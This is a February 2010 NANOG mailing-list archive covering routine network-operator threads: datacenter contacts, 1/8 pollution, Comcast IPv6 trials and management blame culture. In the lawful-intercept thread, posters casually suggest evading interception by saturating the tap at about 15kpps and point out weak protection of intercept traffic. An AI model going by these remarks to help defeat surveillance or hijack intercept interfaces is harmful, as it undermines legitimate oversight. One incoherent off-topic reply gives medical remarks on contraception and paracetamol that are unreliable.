3:00 PM To: nanog at nanog.org Subject: Telx - Atlanta Our normal contact for Telx at 56 Marietta has not responded in a couple of days, does anyone have a 24x7 contact number for Telx at 56 Marietta in Atlanta? Regards, Bill William C. Hale Sr. Network Design Engineer Windstream Communications 501.748.6526 office 501.690.0830 mobile 501.748.6487 fax william.c.hale at windstream.com **************************************************************************** *********** The information contained in this message, including attachments, may contain privileged or confidential information that is intended to be delivered only to the person identified above. If you are not the intended recipient, or the person responsible for delivering this message to the intended recipient, Windstream requests that you immediately notify the sender and asks that you do not read the message or its attachments, and that you delete them without copying or sending them to anyone else. From morrowc.lists at gmail.com Thu Feb 4 14:27:15 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 4 Feb 2010 15:27:15 -0500 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <4B6B2BD1.7010300@linuxbox.org> References: <4B6B2BD1.7010300@linuxbox.org> Message-ID: <75cb24521002041227j1f0daf21s5f95d5a9206fc0c6@mail.gmail.com> On Thu, Feb 4, 2010 at 3:19 PM, Gadi Evron wrote: > > "That peer-review is the basic purpose of my Blackhat talk and the associated paper. I plan to review Cisco?s architecture for lawful intercept and explain the approach a bad guy would take to getting access without authorization. I?ll identify several aspects of the design and implementation of the Lawful Intercept (LI) and Simple Network Management Protocol Version 3 (SNMPv3) protocols that can be exploited to gain access to the interface, and provide recommendations for mitigating those vulnerabilities in design, implementation, and deployment." this seems like much more work that matt blaze's work that said: "Just send more than 10mbps toward what you want to sneak around... the LEA's pipe is saturated so nothing of use gets to them" Also, cisco publishes the fact that their intercept caps out at 15kpps per line card, so... just keep a steady 15kpps and roll on. -chris From heather.schiller at verizonbusiness.com Thu Feb 4 14:27:30 2010 From: heather.schiller at verizonbusiness.com (Schiller, Heather A (HeatherSkanks)) Date: Thu, 04 Feb 2010 20:27:30 +0000 Subject: How polluted is 1/8? In-Reply-To: <4B699FB9.1000005@bogus.com> References: <4B699AEC.8080505@ripe.net> <4B699FB9.1000005@bogus.com> Message-ID: 14/8 isn't all they are using internally.. 1,4,5,42 and that's just the stuff that hasn't been delegated out by IANA yet. I am sure this practice is pervasive.. and it's an issue that doesn't typically come up in talks about prepping for IPv4 depletion. Maybe it will now.. FWIW, I don't believe these netblocks are completely unusable. If RIR policies permit you to get address space for private networks, it could be allocated to an organization that understands and accepts the pollution issue because they will never intend to route the space publicly. (Such a thing does exist..) +1 volunteering to sink traffic for 1.1.1.0/24 --heather -----Original Message----- From: Joel Jaeggli [mailto:joelja at bogus.com] Sent: Wednesday, February 03, 2010 11:09 AM To: Mirjam Kuehne Cc: nanog at nanog.org Subject: Re: How polluted is 1/8? It should be of no surprise to anyone that a number of the remaining prefixes are something of a mess(somebody ask t-mobile how they're using 14/8 internally for example). One's new ipv4 assignments are going to be of significantly lower quality than the one received a decade ago, The property is probably transitive in that the overall quality of the ipv4 unicast space is declining... The way to reduce the entropy in a system is to pump more energy in, there's always the question however of whether that's even worth it or not. joel Mirjam Kuehne wrote: > Hello, > > After 1/8 was allocated to APNIC last week, the RIPE NCC did some > measurements to find out how "polluted" this block really is. > > See some surprising results on RIPE Labs: > http://labs.ripe.net/content/pollution-18 > > Please also note the call for feedback at the bottom of the article. > > Kind Regards, > Mirjam Kuehne > RIPE NCC > > > From morrowc.lists at gmail.com Thu Feb 4 14:28:01 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 4 Feb 2010 15:28:01 -0500 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <75cb24521002041227j1f0daf21s5f95d5a9206fc0c6@mail.gmail.com> References: <4B6B2BD1.7010300@linuxbox.org> <75cb24521002041227j1f0daf21s5f95d5a9206fc0c6@mail.gmail.com> Message-ID: <75cb24521002041228n1d803d58q3ea7db94a0c2d13f@mail.gmail.com> (of course for any LEA that really cares they'll just order a phyiscal tap, and provision things properly) From john_brzozowski at cable.comcast.com Thu Feb 4 19:33:38 2010 From: john_brzozowski at cable.comcast.com (John Jason Brzozowski) Date: Thu, 04 Feb 2010 20:33:38 -0500 Subject: NANOG Digest, Vol 24, Issue 129 In-Reply-To: Message-ID: Sorry for not replying sooner. One of the goals of our IPv6 trials, as we mention on www.comcast6.net, is to exercise the technologies that are essential to extend IPv6 capable services to subscribers. This step is an important one as we plan for wide spread deployment. John On 1/28/10 7:00 AM, "nanog-request at nanog.org" wrote: > Message: 1 > Date: Wed, 27 Jan 2010 21:51:11 -0600 > From: William McCall > Subject: Re: Comcast IPv6 Trials > To: "nanog at nanog.org" > Message-ID: > > Content-Type: text/plain; charset=ISO-8859-1 > > Saw this today too. This is a good step forward for adoption. Without > going too far, what was the driving factor/selling point to moving > towards this trial? > > -- > William McCall > > On Wed, Jan 27, 2010 at 1:23 PM, John Jason Brzozowski > wrote: >> Folks, >> >> I am emailing you today to share some news that we hope you will find >> interesting. >> >> Today we are announcing our 2010 IPv6 trial plans. ?For more information >> please visit the following web site: >> >> http://www.comcast6.net >> >> We have also made available a partial, dual-stack version of our portal >> which can be found at: >> >> http://ipv6.comcast.net >> >> Please do not hesitate to contact me via email with any questions, comments, >> or clarifications. >> >> If you feel that others will find this information interesting feel free to >> forward this message. >> >> Regards, >> >> John >> ========================================= >> John Jason Brzozowski >> Comcast Cable >> e) mailto:john_brzozowski at cable.comcast.com >> o) 609-377-6594 >> m) 484-962-0060 >> ========================================= >> >> >> >> ========================================= John Jason Brzozowski Comcast Cable e) mailto:john_brzozowski at cable.comcast.com o) 609-377-6594 m) 484-962-0060 w) http://www.comcast6.net ========================================= From john_brzozowski at cable.comcast.com Thu Feb 4 19:39:04 2010 From: john_brzozowski at cable.comcast.com (John Jason Brzozowski) Date: Thu, 04 Feb 2010 20:39:04 -0500 Subject: NANOG Digest, Vol 24, Issue 129 In-Reply-To: Message-ID: We will have follow up interactions that should help determine expertise levels. We want to make sure that our recruiting efforts do not unnecessarily exclude people. Overtime we need to make sure our trials include people with varying degrees of expertise. John On 1/28/10 7:00 AM, "nanog-request at nanog.org" wrote: > Date: Wed, 27 Jan 2010 23:07:16 -0600 > From: "Tony Varriale" > Subject: Re: Comcast IPv6 Trials > To: > Message-ID: <03F9DCFCAB174CE8AB2B69D429AFF70B at flamdt01> > Content-Type: text/plain; format=flowed; charset="iso-8859-1"; > reply-type=original > > ----- Original Message ----- > From: "John Jason Brzozowski" > To: "Steven Bellovin" > Cc: > Sent: Wednesday, January 27, 2010 5:12 PM > Subject: Re: Comcast IPv6 Trials > > >> Thanks. >> >> Initially it would be ideal (even preferred) to target trial subscribers >> with greater IPv6 awareness. The technical team will absolutely remain >> engaged as part of the support process. >> >> HTH, >> >> John > > I filled out the form but nowhere on there does it allow to brag up or > differentiate yourself from the typical home user (or select which trial(s) > you may be interested in). > > It appears the differentiators are your PC OS, gaming platform and if you > have more than 1 IP. > > tv ========================================= John Jason Brzozowski Comcast Cable e) mailto:john_brzozowski at cable.comcast.com o) 609-377-6594 m) 484-962-0060 w) http://www.comcast6.net ========================================= From jared at puck.nether.net Thu Feb 4 14:41:57 2010 From: jared at puck.nether.net (Jared Mauch) Date: Thu, 4 Feb 2010 15:41:57 -0500 Subject: How polluted is 1/8? In-Reply-To: <4B6B2B9D.6080004@raapid.net> References: <4B699AEC.8080505@ripe.net> <4B6B1178.30107@kl.net> <008197CB-E5F4-4EAA-8D5D-53401F0DD26C@puck.nether.net> <75cb24521002041214i3670acbp87c314f29c5749@mail.gmail.com> <4B6B2B9D.6080004@raapid.net> Message-ID: <8674C37E-09F1-42B5-8784-3E34FF0DF921@puck.nether.net> If it's not obvious, I've thoguht about this and made some offers to the people at APNIC/RIPE. Hoping someone moves forward with this. The note was on the apops list (iirc). - jared On Feb 4, 2010, at 3:18 PM, Tico wrote: > On 2/4/10 2:14 PM, Christopher Morrow wrote: >> I know someone who'd happily sink both the /24's in question.. if apnic's >> interested. >> > Ditto. > >> On Thu, Feb 4, 2010 at 2:30 PM, Jared Mauch wrote: >> >> >>> On Feb 4, 2010, at 1:27 PM, Kevin Loch wrote: >>> >>> >>>> Mirjam Kuehne wrote: >>>> >>>>> Hello, >>>>> After 1/8 was allocated to APNIC last week, the RIPE NCC did some >>>>> >>> measurements to find out how "polluted" this block really is. >>> >>>>> See some surprising results on RIPE Labs: >>>>> >>> http://labs.ripe.net/content/pollution-18 >>> >>>>> Please also note the call for feedback at the bottom of the article. >>>>> >>>> The most surprising thing in that report was that someone has an AMS-IX >>>> port at just 10 megs. It would be nice to see an actual measurement of >>>> the traffic and daily/weekly changes. A breakdown of the flow data by >>>> source ASN and source prefix (for the top 50-100 sources) would also be >>>> interesting. >>>> >>> There was a call on the apnic list for someone to sink some of the traffic. >>> >>> I'd like to see someone capture the data and post pcaps/netflow analysis, >>> and possibly just run a http server on that /24 so people can test if their >>> network is broken. >>> >>> I've taken a peek at the traffic, and I don't think it's 100's of megs, but >>> without a global view who knows. >>> >>> - Jared >>> >>> > From john_brzozowski at cable.comcast.com Thu Feb 4 19:44:20 2010 From: john_brzozowski at cable.comcast.com (John Jason Brzozowski) Date: Thu, 04 Feb 2010 20:44:20 -0500 Subject: NANOG Digest, Vol 24, Issue 129 In-Reply-To: Message-ID: Thanks Dave. The demonstration I organized was in fact native, dual-stack over cable broadband, specifically DOCSIS. Here is a link with some additional details: http://mailman.nanog.org/pipermail/nanog-futures/2009-June/000686.html In addition to demonstrating native, dual-stack we had the pleasure to experience the following as well: http://ipv6.netflix.com http://nanog46.theplanet.com John On 1/28/10 7:00 AM, "nanog-request at nanog.org" wrote: > Date: Thu, 28 Jan 2010 09:48:46 +0000 > From: David Freedman > Subject: Re: Comcast IPv6 Trials > To: nanog at nanog.org > Message-ID: > Content-Type: text/plain; charset=ISO-8859-1 > > John Jason Brzozowski wrote: >> Folks, >> >> I am emailing you today to share some news that we hope you will find >> interesting. >> >> Today we are announcing our 2010 IPv6 trial plans. For more information >> please visit the following web site: > > I was privileged enough to visit the Comcast DOCSIS3/IPv6 implementation > demo setup at nanog46 in Philly last year, here are some pics I managed > to snap: > > http://www.convergence.cx/cgi-bin/photview.cgi?collection=comcast6&newformat=y > ay > > Apologies for the lack of descriptions, but from what I recall, there > was a CMTS setup with DOCSIS3 CMs and Laptops attached, streaming media > over IPv6. > > Dave. ========================================= John Jason Brzozowski Comcast Cable e) mailto:john_brzozowski at cable.comcast.com o) 609-377-6594 m) 484-962-0060 w) http://www.comcast6.net ========================================= From William.C.Hale at windstream.com Thu Feb 4 15:15:36 2010 From: William.C.Hale at windstream.com (Hale, William C) Date: Thu, 4 Feb 2010 15:15:36 -0600 Subject: Telx - Atlanta References: Message-ID: Thanks to all that responded, we received the information needed. Regards, Bill -----Original Message----- From: Hale, William C Sent: Thursday, February 04, 2010 2:00 PM To: nanog at nanog.org Subject: Telx - Atlanta Our normal contact for Telx at 56 Marietta has not responded in a couple of days, does anyone have a 24x7 contact number for Telx at 56 Marietta in Atlanta? Regards, Bill William C. Hale Sr. Network Design Engineer Windstream Communications 501.748.6526 office 501.690.0830 mobile 501.748.6487 fax william.c.hale at windstream.com ************************************************************************ *************** The information contained in this message, including attachments, may contain privileged or confidential information that is intended to be delivered only to the person identified above. If you are not the intended recipient, or the person responsible for delivering this message to the intended recipient, Windstream requests that you immediately notify the sender and asks that you do not read the message or its attachments, and that you delete them without copying or sending them to anyone else. *************************************************************************************** The information contained in this message, including attachments, may contain privileged or confidential information that is intended to be delivered only to the person identified above. If you are not the intended recipient, or the person responsible for delivering this message to the intended recipient, Windstream requests that you immediately notify the sender and asks that you do not read the message or its attachments, and that you delete them without copying or sending them to anyone else. From surfer at mauigateway.com Thu Feb 4 15:30:37 2010 From: surfer at mauigateway.com (Scott Weeks) Date: Thu, 4 Feb 2010 13:30:37 -0800 Subject: Mitigating human error in the SP Message-ID: <20100204133037.968F9638@resin09.mta.everyone.net> A recent organizational change at my company has put someone in charge who is determined to make things perfect. We are a service provider, isn't a common occurrence, and the engineer in question has a pristine track record. This outage, of a high profile customer, triggered upper management to react by calling a meeting just days after. Put bluntly, we've been told "Human errors are unacceptable, and they will be completely eliminated. One is too many." ---------------------------------------------------------------- >From experience... At one point this will become overwhelming. You'll wake up every morning dreading going to work instead of looking forward to it. Chain shot will be put in the 'blame cannon' and blasted regularly and at everyone. Update your resume and get everything in place just in case it gets to the point you can't take it anymore sooner than you expect. ;-) scott From tvarriale at comcast.net Thu Feb 4 15:44:08 2010 From: tvarriale at comcast.net (Tony Varriale) Date: Thu, 4 Feb 2010 15:44:08 -0600 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations References: <4B6B2BD1.7010300@linuxbox.org> <75cb24521002041227j1f0daf21s5f95d5a9206fc0c6@mail.gmail.com> Message-ID: <676832D188BA4078897F56FE237E4A17@flamdt01> Would you mind passing along a source/link on the 15kpps? I haven't seen that number yet. tv ----- Original Message ----- From: "Christopher Morrow" To: "Gadi Evron" Cc: "NANOG" Sent: Thursday, February 04, 2010 2:27 PM Subject: Re: lawful intercept/IOS at BlackHat DC, bypassing and recommendations On Thu, Feb 4, 2010 at 3:19 PM, Gadi Evron wrote: > > "That peer-review is the basic purpose of my Blackhat talk and the > associated paper. I plan to review Cisco?s architecture for lawful > intercept and explain the approach a bad guy would take to getting access > without authorization. I?ll identify several aspects of the design and > implementation of the Lawful Intercept (LI) and Simple Network Management > Protocol Version 3 (SNMPv3) protocols that can be exploited to gain access > to the interface, and provide recommendations for mitigating those > vulnerabilities in design, implementation, and deployment." this seems like much more work that matt blaze's work that said: "Just send more than 10mbps toward what you want to sneak around... the LEA's pipe is saturated so nothing of use gets to them" Also, cisco publishes the fact that their intercept caps out at 15kpps per line card, so... just keep a steady 15kpps and roll on. -chris From Crist.Clark at globalstar.com Thu Feb 4 16:26:23 2010 From: Crist.Clark at globalstar.com (Crist Clark) Date: Thu, 04 Feb 2010 14:26:23 -0800 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <75cb24521002041227j1f0daf21s5f95d5a9206fc0c6@mail.gmail.com> References: <4B6B2BD1.7010300@linuxbox.org> <75cb24521002041227j1f0daf21s5f95d5a9206fc0c6@mail.gmail.com> Message-ID: <4B6AD909.33E4.0097.0@globalstar.com> >>> On 2/4/2010 at 12:27 PM, Christopher Morrow wrote: > On Thu, Feb 4, 2010 at 3:19 PM, Gadi Evron wrote: >> >> "That peer-review is the basic purpose of my Blackhat talk and the associated > paper. I plan to review Cisco?s architecture for lawful intercept and explain > the approach a bad guy would take to getting access without authorization. > I?ll identify several aspects of the design and implementation of the Lawful > Intercept (LI) and Simple Network Management Protocol Version 3 (SNMPv3) > protocols that can be exploited to gain access to the interface, and provide > recommendations for mitigating those vulnerabilities in design, > implementation, and deployment." > > > this seems like much more work that matt blaze's work that said: "Just > send more than 10mbps toward what you want to sneak around... the > LEA's pipe is saturated so nothing of use gets to them" The Cross/XForce/IBM talk appears more to be about unauthorized access to communications via LI rather than evading them, "...there is a risk that [LI tools] could be hijacked by third parties and used to perform surveillance without authorization." Of course, this has already happened, http://en.wikipedia.org/wiki/Greek_telephone_tapping_case_2004-2005 From morrowc.lists at gmail.com Thu Feb 4 16:42:14 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 4 Feb 2010 17:42:14 -0500 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <4B6AD909.33E4.0097.0@globalstar.com> References: <4B6B2BD1.7010300@linuxbox.org> <75cb24521002041227j1f0daf21s5f95d5a9206fc0c6@mail.gmail.com> <4B6AD909.33E4.0097.0@globalstar.com> Message-ID: <75cb24521002041442h1a8ced5dt5f31e597e3b6a101@mail.gmail.com> On Thu, Feb 4, 2010 at 5:26 PM, Crist Clark wrote: >> this seems like much more work that matt blaze's work that said: > "Just >> send more than 10mbps toward what you want to sneak around... the >> LEA's pipe is saturated so nothing of use gets to them" > > The Cross/XForce/IBM talk appears more to be about unauthorized > access to communications via LI rather than evading them, > > ?"...there is a risk that [LI tools] could be hijacked by third > ? parties and used to perform surveillance without authorization." > > Of course, this has already happened, right... plus the management (for cisco) is via snmp(v3), from (mostly) windows servers as the mediation devices (sad)... and the traffic is simply tunneled from device -> mediation -> lea .... not necessarily IPSEC'd from mediation -> LEA, and udp-encapped from device -> mediation server. > ?http://en.wikipedia.org/wiki/Greek_telephone_tapping_case_2004-2005 yea, good times... that's really just re-use of the normal LEA hooks in all telco phone switch gear though... not 'calea features' in particular. -chris From jmamodio at gmail.com Thu Feb 4 16:47:47 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Thu, 4 Feb 2010 16:47:47 -0600 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <4B6B2BD1.7010300@linuxbox.org> References: <4B6B2BD1.7010300@linuxbox.org> Message-ID: <202705b1002041447r2c369b60xad11b6c51e054689@mail.gmail.com> I'm totally ignorant (most of the time), is anybody actually using SNMPv3 ? Regards From smb at cs.columbia.edu Thu Feb 4 16:49:50 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Thu, 4 Feb 2010 17:49:50 -0500 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <75cb24521002041442h1a8ced5dt5f31e597e3b6a101@mail.gmail.com> References: <4B6B2BD1.7010300@linuxbox.org> <75cb24521002041227j1f0daf21s5f95d5a9206fc0c6@mail.gmail.com> <4B6AD909.33E4.0097.0@globalstar.com> <75cb24521002041442h1a8ced5dt5f31e597e3b6a101@mail.gmail.com> Message-ID: <8736B9E5-D9A5-4DEC-BD96-77E758DC9D1A@cs.columbia.edu> On Feb 4, 2010, at 5:42 PM, Christopher Morrow wrote: > On Thu, Feb 4, 2010 at 5:26 PM, Crist Clark wrote: > >>> this seems like much more work that matt blaze's work that said: >> "Just >>> send more than 10mbps toward what you want to sneak around... the >>> LEA's pipe is saturated so nothing of use gets to them" >> >> The Cross/XForce/IBM talk appears more to be about unauthorized >> access to communications via LI rather than evading them, >> >> "...there is a risk that [LI tools] could be hijacked by third >> parties and used to perform surveillance without authorization." >> >> Of course, this has already happened, > > right... plus the management (for cisco) is via snmp(v3), from > (mostly) windows servers as the mediation devices (sad)... and the > traffic is simply tunneled from device -> mediation -> lea .... not > necessarily IPSEC'd from mediation -> LEA, and udp-encapped from > device -> mediation server. > >> http://en.wikipedia.org/wiki/Greek_telephone_tapping_case_2004-2005 > > yea, good times... that's really just re-use of the normal LEA hooks > in all telco phone switch gear though... not 'calea features' in > particular. There's a difference? CALEA is just the US goverment profile of the generic international concept of lawful intercept. I recommend http://www.spectrum.ieee.org/jul07/5280 (linked to from the Wikipedia article) as a very good reference on what is and isn't known. --Steve Bellovin, http://www.cs.columbia.edu/~smb From Richard.E.Brown at dartware.com Thu Feb 4 16:50:35 2010 From: Richard.E.Brown at dartware.com (Richard E. Brown) Date: 04 Feb 2010 17:50:35 -0500 Subject: Regular Expression for IPv6 addresses Message-ID: <4912284@blitz.dartware.com> Folks, My company, Dartware, have derived a regex for testing whether an IPv6 address is correct. I've posted it in my blog: http://intermapper.ning.com/profiles/blogs/a-regular-expression-for-ipv6 This has links to the regular expression, a (Perl) program that tests various correct and malformed addresses, and a Ruby implementation of the same. Hope it's useful. Rich Brown richard.e.brown at dartware.com Dartware, LLC http://www.dartware.com 66-7 Benning Street Telephone: 603-643-9600 West Lebanon, NH 03784-3407 Fax: 603-643-2289 From isabeldias1 at yahoo.com Thu Feb 4 17:03:19 2010 From: isabeldias1 at yahoo.com (isabel dias) Date: Thu, 4 Feb 2010 15:03:19 -0800 (PST) Subject: Mitigating human error in the SP In-Reply-To: <20100204133037.968F9638@resin09.mta.everyone.net> Message-ID: <309595.86935.qm@web52604.mail.re2.yahoo.com> who's side are you on? Just before answering think about the opportunities and threats before consider having sex! You just need to know how to protect yourself. Not to everyone?s taste but pregnancy can be prevented after intercourse by taking emergency contraceptive pills (EC). Other chose paracetamol- apparently is a painkiller that lowers high temperature. Provided that you take the correct dose at the right intervals, paracetamol is relatively safe. An overdose is dangerous. you might not get this .....but going to bed late has an huge impact on our health. If a main issue has dependencies then the main issue has to be resolved. Hopefully, you've seen that all good things have a dark side, --- On Thu, 2/4/10, Scott Weeks wrote: > From: Scott Weeks > Subject: Re: Mitigating human error in the SP > To: nanog at nanog.org > Date: Thursday, February 4, 2010, 10:30 PM > > A recent organizational change at my company has put > someone in charge > who is determined to make things perfect.? We are a > service provider, > > isn't a common occurrence, and the engineer in question has > a pristine > track record. > > This outage, of a high profile customer, triggered upper > management to > react by calling a meeting just days after.? Put > bluntly, we've been > told "Human errors are unacceptable, and they will be > completely > eliminated.? One is too many." > ---------------------------------------------------------------- > > > > >From experience... > > At one point this will become overwhelming.? You'll > wake up every morning dreading going to > work instead of looking forward to it.? Chain shot > will be put in the 'blame cannon' and > blasted regularly and at everyone.? Update your resume > and get everything in place just in > case it gets to the point you can't take it anymore sooner > than you expect.? ;-) > > scott > > From andrew.wallace at rocketmail.com Thu Feb 4 17:04:22 2010 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Thu, 4 Feb 2010 15:04:22 -0800 (PST) Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations Message-ID: <173586.49796.qm@web59608.mail.ac4.yahoo.com> On Thu, Feb 4, 2010 at 8:19 PM, Gadi Evron wrote: > "That peer-review is the basic purpose of my Blackhat talk and the > associated paper. I plan to review Cisco?s architecture for lawful intercept > and explain the approach a bad guy would take to getting access without > authorization. I?ll identify several aspects of the design and > implementation of the Lawful Intercept (LI) and Simple Network Management > Protocol Version 3 (SNMPv3) protocols that can be exploited to gain access > to the interface, and provide recommendations for mitigating those > vulnerabilities in design, implementation, and deployment." > > More here: > http://blogs.iss.net/archive/blackhatlitalk.html > > Gadi. For the sake of clarity and transparency, Gadi Evron has absolutely no connection to this research whatsoever. He is famous in the security community for piggybacking off other peoples research. We are frustrated with him as much as we are annoyed. Andrew Security consultant From surfer at mauigateway.com Thu Feb 4 17:12:32 2010 From: surfer at mauigateway.com (Scott Weeks) Date: Thu, 4 Feb 2010 15:12:32 -0800 Subject: Mitigating human error in the SP Message-ID: <20100204151232.968FA76A@resin09.mta.everyone.net> WTF? Elaboration needed if this is supposed to be Yet Another Analogy (YAA). I recognize your email name from previous NANOG threads, so I assume it's not accidental or spam. If it is YAA, I'm on the side of the network engineer having to deal with this type of management methodology. I've seen it in telefant mgmt. scott --- isabeldias1 at yahoo.com wrote: From: isabel dias who's side are you on? Just before answering think about the opportunities and threats before consider having sex! You just need to know how to protect yourself. Not to everyone?s taste but pregnancy can be prevented after intercourse by taking emergency contraceptive pills (EC). Other chose paracetamol- apparently is a painkiller that lowers high temperature. Provided that you take the correct dose at the right intervals, paracetamol is relatively safe. An overdose is dangerous. you might not get this .....but going to bed late has an huge impact on our health. If a main issue has dependencies then the main issue has to be resolved. Hopefully, you've seen that all good things have a dark side, --- On Thu, 2/4/10, Scott Weeks wrote: > From: Scott Weeks > Subject: Re: Mitigating human error in the SP > To: nanog at nanog.org > Date: Thursday, February 4, 2010, 10:30 PM > > A recent organizational change at my company has put > someone in charge > who is determined to make things perfect. We are a > service provider, > > isn't a common occurrence, and the engineer in question has > a pristine > track record. > > This outage, of a high profile customer, triggered upper > management to > react by calling a meeting just days after. Put > bluntly, we've been > told "Human errors are unacceptable, and they will be > completely > eliminated. One is too many." > ---------------------------------------------------------------- > > > > >From experience... > > At one point this will become overwhelming. You'll > wake up every morning dreading going to > work instead of looking forward to it. Chain shot > will be put in the 'blame cannon' and > blasted regularly and at everyone. Update your resume > and get everything in place just in > case it gets to the point you can't take it anymore sooner > than you expect. ;-) > > scott > > From LarrySheldon at cox.net Thu Feb 4 17:13:30 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Thu, 04 Feb 2010 17:13:30 -0600 Subject: Mitigating human error in the SP In-Reply-To: <20100204133037.968F9638@resin09.mta.everyone.net> References: <20100204133037.968F9638@resin09.mta.everyone.net> Message-ID: <4B6B549A.8020206@cox.net> On 2/4/2010 3:30 PM, Scott Weeks wrote: > > A recent organizational change at my company has put someone in charge > who is determined to make things perfect. We are a service provider, > > isn't a common occurrence, and the engineer in question has a pristine > track record. > > This outage, of a high profile customer, triggered upper management to > react by calling a meeting just days after. Put bluntly, we've been > told "Human errors are unacceptable, and they will be completely > eliminated. One is too many." > ---------------------------------------------------------------- > > > >> From experience... > > At one point this will become overwhelming. You'll wake up every morning dreading going to > work instead of looking forward to it. Chain shot will be put in the 'blame cannon' and > blasted regularly and at everyone. Update your resume and get everything in place just in > case it gets to the point you can't take it anymore sooner than you expect. ;-) This is a golden opportunity. Prepare a pan for building the lab necessary to pre-test EVERYTHING. Cost it out. Present the cost and the plan in a public forum or widely distributed memorandum (including as a minimum everybody that was at the meeting and everybody in the chain(s) of command between you and the edict giver. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From LarrySheldon at cox.net Thu Feb 4 17:22:23 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Thu, 04 Feb 2010 17:22:23 -0600 Subject: Mitigating human error in the SP In-Reply-To: <4B6B549A.8020206@cox.net> References: <20100204133037.968F9638@resin09.mta.everyone.net> <4B6B549A.8020206@cox.net> Message-ID: <4B6B56AF.2000202@cox.net> On 2/4/2010 5:13 PM, Larry Sheldon wrote: > On 2/4/2010 3:30 PM, Scott Weeks wrote: >> >> A recent organizational change at my company has put someone in charge >> who is determined to make things perfect. We are a service provider, >> >> isn't a common occurrence, and the engineer in question has a pristine >> track record. >> >> This outage, of a high profile customer, triggered upper management to >> react by calling a meeting just days after. Put bluntly, we've been >> told "Human errors are unacceptable, and they will be completely >> eliminated. One is too many." >> ---------------------------------------------------------------- >> >> >> >>> From experience... >> >> At one point this will become overwhelming. You'll wake up every >> morning dreading going to >> work instead of looking forward to it. Chain shot will be put in the >> 'blame cannon' and >> blasted regularly and at everyone. Update your resume and get >> everything in place just in >> case it gets to the point you can't take it anymore sooner than you >> expect. ;-) > > > This is a golden opportunity. > > Prepare a pLan for building the lab necessary to pre-test EVERYTHING. Plan. Prepare a plan. > > Cost it out. > > Present the cost and the plan in a public forum or widely distributed > memorandum (including as a minimum everybody that was at the meeting and > everybody in the chain(s) of command between you and the edict giver. > > -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From a.harrowell at gmail.com Thu Feb 4 17:25:32 2010 From: a.harrowell at gmail.com (a.harrowell at gmail.com) Date: Thu, 4 Feb 2010 23:25:32 +0000 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations Message-ID: -original message- Subject: Re: lawful intercept/IOS at BlackHat DC, bypassing and recommendations From: "andrew.wallace" Date: 04/02/2010 11:09 pm On Thu, Feb 4, 2010 at 8:19 PM, Gadi Evron wrote: > "That peer-review is the basic purpose of my Blackhat talk and the > associated paper. I plan to review Cisco?s architecture for lawful intercept > and explain the approach a bad guy would take to getting access without > authorization. I?ll identify several aspects of the design and > implementation of the Lawful Intercept (LI) and Simple Network Management > Protocol Version 3 (SNMPv3) protocols that can be exploited to gain access > to the interface, and provide recommendations for mitigating those > vulnerabilities in design, implementation, and deployment." > > More here: > http://blogs.iss.net/archive/blackhatlitalk.html > > Gadi. For the sake of clarity and transparency, Gadi Evron has absolutely no connection to this research whatsoever. He is famous in the security community for piggybacking off other peoples research. We are frustrated with him as much as we are annoyed. Andrew Security consultant CITATION NEEDED From tvarriale at comcast.net Thu Feb 4 17:35:23 2010 From: tvarriale at comcast.net (Tony Varriale) Date: Thu, 4 Feb 2010 17:35:23 -0600 Subject: google contact? why is google hosting/supporting/encouraging spammers? References: <20100204060718.GM81296@reptiles.org> Message-ID: <45E9D92037D0443FA158C8D71E1E64BD@flamdt01> ----- Original Message ----- From: "Jim Mercer" To: Sent: Thursday, February 04, 2010 12:07 AM Subject: google contact? why is google hosting/supporting/encouraging spammers? > > we have recently started getting alot of spam, out of dubai, from > "ecampaigners.dxb at gmail.com" > > all of the spam comes from/through google and google groups. > > is this accepted/supported activity on google? > > if not, where might i find a contact who can cluefully respond? > > -- > Jim Mercer jim at reptiles.org +92 336 520-4504 > "I'm Prime Minister of Canada, I live here and I'm going to take a leak." > - Lester Pearson in 1967, during a meeting between himself and > President Lyndon Johnson, whose Secret Service detail had taken over > Pearson's cottage retreat. At one point, a Johnson guard asked > Pearson, "Who are you and where are you going?" > Not that I can point you in the correct direction, but Google Groups is a haven for spammers. In fact, I stopped using it a while ago for this reason. I do find it odd that gmail is very good at filtering spam, but groups isn't/doesn't. tv From jmheralds at gmail.com Thu Feb 4 17:38:18 2010 From: jmheralds at gmail.com (James Heralds) Date: Thu, 4 Feb 2010 18:38:18 -0500 Subject: Draft paper submission deadline is extended: ISP-10 Message-ID: <739582dd1002041538v25829bfocedf6a3f0f4841dd@mail.gmail.com> Draft paper submission deadline is extended: ISP-10 The 2010 International Conference on Information Security and Privacy (ISP-10) (website: http://www.PromoteResearch.org) will be held during 12-14 of July 2010 in Orlando, FL, USA. ISP is an important event in the areas of information security, privacy, cryptography and related topics. The conference will be held at the same time and location where several other major international conferences will be taking place. The conference will be held as part of 2010 multi-conference (MULTICONF-10). MULTICONF-10 will be held during July 12-14, 2010 in Orlando, Florida, USA. The primary goal of MULTICONF is to promote research and developmental activities in computer science, information technology, control engineering, and related fields. Another goal is to promote the dissemination of research to a multidisciplinary audience and to facilitate communication 